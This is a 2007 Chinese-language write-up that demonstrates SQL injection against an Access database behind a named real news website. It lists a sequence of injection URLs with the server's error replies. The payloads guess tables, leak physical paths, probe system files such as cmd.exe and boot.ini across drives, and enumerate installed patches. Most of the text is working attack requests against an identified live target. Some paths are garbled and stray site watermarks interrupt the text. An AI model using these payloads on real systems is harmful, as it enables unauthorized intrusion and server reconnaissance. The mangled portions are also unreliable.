access数据库跨文件查询漏洞的初步报告
时间:2007-12-23 来源:不详 作者:迈克DB
1.访问http://www.lznet.net/news/displaynews.?id=24794'
页面出错信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 24794'' 中。
/news/displaynews.,行133
2.访问http://www.lznet.net/news/displaynews.?id=24794 and 1=1
页面正常
3.访问http://www.lznet.net/news/displaynews.?id=24794 and 1=2
页面返回"找不到文件"
这是典型的sql injection with access漏洞,接下来猜表名:
4.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from news)
页面出错:引擎找不到输入表或查询 'news'
5.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from admin)
页面出错:引擎找不到输入表或查询 'admin'
6.忽然想起了sql injection技术中得到的出错信息中表名格式为: news.id
其中news为表名,id为表中的一个列名
7.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from lznet.a)
织梦内容管理系统
出错:找不到文件 'C:WINNTsystem32lznet.mdb'。
8.试遍了web根目录以及所有知道的虚拟目录,都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个文件名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢?继续试试能不能查询c:winntsystem32下的cmd.exe文件.
9.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from cmd.exe.a)
这条语句格式是经过多次试验得到的:)
出错:"引擎打不开文件'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。 "
分析以上出错信息,我想权限是有的,因为我们是基于的guest权限,默认cmd.exe是Everyone:R ,假如打不开那就是不支持了,但是文件夹是可以被访问,否则我们是搜索不到其中的文件的。
10.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from c:cmd.exe.a)
在这里我们可以看到跨目录查询是可行的
出错:
找不到文件 'c:cmd.exe'。
11.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from c:oot.ini.a)
注:boot.ini是win2000在系统盘根目录下的系统引导文件 本文来自织梦
出错:
据库引擎打不开文件'c:oot.ini'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
12.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from d:oot.ini.a)
跨盘符查询也是可行的
出错:
找不到文件 'd:oot.ini'。
13.访问http://www.lznet.net/news/displaynews.?id=24794 and 0<>(select count(*) from i:oot.ini.a)
出错:
'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
注:我们看到出错信息很老实的告诉了我们这个系统没有i盘,从侧面说access的出错信息在某些方面还是比较具体的。
14.这是个比较实际的利用,假如对方是从spx打到spx,在winnt目录下就会有这些文件,我们可以通过这个漏洞查找这些文件,确定目录主机打补丁的情况:
[$NtUninstallQ329553$] [$NtUninstallQ329834$]
[$NtUninstallQ331953$] [$NtUninstallQ810833$]
[$NtUninstallQ811114$] [$NtUninstallQ811493$]
文章评论
共有位Admini5网友发表了评论 查看完整内容